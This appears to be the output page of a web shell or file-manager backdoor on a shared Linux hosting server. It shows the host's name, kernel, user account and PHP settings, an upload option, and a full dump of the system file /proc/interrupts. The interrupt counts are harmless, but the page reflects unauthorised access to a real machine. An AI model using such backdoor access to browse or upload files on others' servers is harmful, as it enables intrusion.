HEX
Server: Apache
System: Linux shared178.accountservergroup.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User: somesolu (2995)
PHP: 8.2.33
Disabled: NONE
Upload Files
File: //proc/self/root/proc/interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
  0:         68          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   2-edge      timer
  1:          0          0          0          0          0          9          0          0          0          0          0          0          0          0          0          0   IO-APIC   1-edge      i8042
  4:          0          0          0          0          0          0          0        557          0          0          0        117          0          0          0          0   IO-APIC   4-edge      ttyS0
  6:          0          0          0          0          0          0          0          0          3          0          0          0          0          0          0          0   IO-APIC   6-edge      floppy
  8:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  10-fasteoi   uhci_hcd:usb3, uhci_hcd:usb4, virtio3
 11:          0          0          2          0          0          0          0          0          0          0          0          0    1457716          0          0          0   IO-APIC  11-fasteoi   ehci_hcd:usb1, uhci_hcd:usb2, virtio4
 12:          0          0          0          0         15          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  12-edge      i8042
 14:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 81920-edge      virtio2-config
 25:         33          0          0          0          0          0          0          0          0          0          0          0         33          0          0          0   PCI-MSI 81921-edge      virtio2-virtqueues
 26:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49152-edge      virtio1-config
 27:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49153-edge      virtio1-control
 28:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 32768-edge      virtio0-config
 29:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49154-edge      virtio1-event
 30:          0          0          0          0          0          0          0          0          0          0          0          0          0 3590096338          0          0   PCI-MSI 32769-edge      virtio0-input.0
 31:  680501777          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49155-edge      virtio1-request
 32:         44        278      94107         51      84613        131      60925      10869      31677        191      16374         36       5458          0       1029     480645   PCI-MSI 32770-edge      virtio0-output.0
 33:          0  579172777          0          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49156-edge      virtio1-request
 34:          0          0  543814343          0          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49157-edge      virtio1-request
 35:          0          0          0  561033246          0          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49158-edge      virtio1-request
 36:          0          0          0          0  591261973          0          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49159-edge      virtio1-request
 37:          0          0          0          0          0  582261919          0          0          0          0          0          0          0          0          0          0   PCI-MSI 49160-edge      virtio1-request
 38:          0          0          0          0          0          0  623665438          0          0          0          0          0          0          0          0          0   PCI-MSI 49161-edge      virtio1-request
 39:          0          0          0          0          0          0          0  640032490          0          0          0          0          0          0          0          0   PCI-MSI 49162-edge      virtio1-request
 40:          0          0          0          0          0          0          0          0  668784177          0          0          0          0          0          0          0   PCI-MSI 49163-edge      virtio1-request
 41:          0          0          0          0          0          0          0          0          0  685163906          0          0          0          0          0          0   PCI-MSI 49164-edge      virtio1-request
 42:          0          0          0          0          0          0          0          0          0          0  700223388          0          0          0          0          0   PCI-MSI 49165-edge      virtio1-request
 43:          0          0          0          0          0          0          0          0          0          0          0  696694698          0          0          0          0   PCI-MSI 49166-edge      virtio1-request
 44:          0          0          0          0          0          0          0          0          0          0          0          0  710893270          0          0          0   PCI-MSI 49167-edge      virtio1-request
 45:          0          0          0          0          0          0          0          0          0          0          0          0          0  361601925          0          0   PCI-MSI 49168-edge      virtio1-request
 46:          0          0          0          0          0          0          0          0          0          0          0          0          0          0  688945377          0   PCI-MSI 49169-edge      virtio1-request
 47:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0  987788005   PCI-MSI 49170-edge      virtio1-request
NMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Non-maskable interrupts
LOC: 1194407744 4033372685 3764504232 3325823532 2804346147 2291053163 2039451023 1797067064 1626657479 1563028944 1441256457 1252704055 1174908743 2288519816  941395165 1050431798   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Performance monitoring interrupts
IWI: 1003920213  439965458  143184184 3942870375 3264231344 2774300346 2398274945 2085581368 1846364236 1719763185 1563411382 1286953221 1165125523 3278785890 1482905028 3194931661   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   APIC ICR read retries
RES: 2113627238 3521023058 2705974606 2551996123 2647743694 2532724701 2755209195 2863832494 2992771919 3104653422 3193711782 3294283445 3383867866 2653543346 2942499342 2989827468   Rescheduling interrupts
CAL: 1090295390 1096367456 1097458247 1094167769 1094990725 1091957436 1088074425 1087604470 1086278481 1083708551 1082020704 1084733733 1084666435 1143716254 1068892818 1071187561   Function call interrupts
TLB:  938787552  944105095  945784162  942597641  944035821  941604086  938571439  938899023  937990057  935938062  934947393  938435689  938937334 1004491421  923054955  929162762   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323     273323   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event